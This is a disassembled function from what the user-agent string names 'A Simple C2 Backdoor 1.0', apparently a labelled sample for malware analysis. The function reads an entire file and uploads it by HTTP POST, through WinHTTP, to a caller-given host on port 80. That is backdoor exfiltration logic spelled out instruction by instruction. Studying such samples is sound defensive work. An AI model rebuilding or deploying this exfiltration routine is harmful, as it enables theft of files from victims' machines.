Function at 0x140002413
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x2c0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x260], rcx
mov qword [rbp + 0x268], rdx
mov qword [rbp + 0x270], r8
mov rdx, qword [rbp + 0x270]
mov rax, rbp
mov r8d, 4
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
mov rax, rbp
add rax, 0xd8
mov rcx, rax
call sym.std::basic_ios_char__std::char_traits_char___::operator____const
test al, al
je 0x1400024ae
lea rax, str.Failed_to_open_file:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [rbp + 0x270]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rcx, rax
mov rax, qword [0x140008640]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ebx, 0
jmp 0x1400027f0
lea rax, [rbp + 0x1ef]
mov qword [rbp + 0x218], rax
nop
nop
lea rax, [rbp + 0x1f0]
mov rcx, rax
call method.std::istreambuf_iterator_char__std::char_traits_char___.istreambuf_iterator__
mov rdx, rbp
lea rax, [rbp + 0x200]
mov rcx, rax
call method.std::istreambuf_iterator_char__std::char_traits_char___.istreambuf_iterator_std::istream_
mov rax, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x208]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x1f0]
mov rdx, qword [rbp + 0x1f8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
lea r8, [rbp + 0x1ef]
lea rcx, [rbp - 0x40]
lea rdx, [rbp - 0x30]
lea rax, [rbp - 0x20]
mov r9, r8
mov r8, rcx
mov rcx, rax
call method.std::vector_char__std::allocator_char___::vector_std::istreambuf_iterator_char__std.char_traits_char_____void__std::istreambuf_iterator_char__std::char_traits_char_____std::istreambuf_iterator_char__std::char_traits_char_____std::allocator_char__co
lea rax, [rbp + 0x1ef]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov rax, rbp
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::close__
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.A_Simple_C2_Backdoor_1.0
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpOpen]
call rax
mov qword [rbp + 0x238], rax
cmp qword [rbp + 0x238], 0
jne 0x14000258e
mov ebx, 0
jmp 0x1400027d3
mov rax, qword [rbp + 0x260]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x238]
mov r9d, 0
mov r8d, 0x50
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpConnect]
call rax
mov qword [rbp + 0x230], rax
cmp qword [rbp + 0x230], 0
jne 0x1400025ed
mov rax, qword [rbp + 0x238]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov ebx, 0
jmp 0x1400027d3
mov rax, qword [rbp + 0x268]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x230]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
lea rdx, str.POST
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
call rax
mov qword [rbp + 0x228], rax
cmp qword [rbp + 0x228], 0
jne 0x14000267d
mov rax, qword [rbp + 0x230]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp + 0x238]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov ebx, 0
jmp 0x1400027d3
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.size___const
mov esi, eax
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.size___const
mov ebx, eax
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.data__
mov rdx, rax
mov rax, qword [rbp + 0x228]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], ebx
mov r9, rdx
mov r8d, 0xffffffff
lea rdx, str.Content_Type:_application_octet_stream_r_n
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
call rax
mov dword [rbp + 0x224], eax
cmp dword [rbp + 0x224], 0
jne 0x14000272e
mov rax, qword [rbp + 0x228]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp + 0x230]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp + 0x238]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov ebx, 0
jmp 0x1400027d3
mov rax, qword [rbp + 0x228]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
call rax
mov dword [rbp + 0x224], eax
cmp dword [rbp + 0x224], 0
jne 0x140002795
mov rax, qword [rbp + 0x228]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp + 0x230]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp + 0x238]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov ebx, 0
jmp 0x1400027d3
mov rax, qword [rbp + 0x228]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp + 0x230]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp + 0x238]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov ebx, 1
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.vector__
cmp ebx, 1
jne 0x1400027eb
mov ebx, 1
jmp 0x1400027f0
mov ebx, 0
mov rax, rbp
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream__
cmp ebx, 1
jmp 0x140002840
add rsp, 0x2c0
pop rbx
pop rsi
pop rbp
ret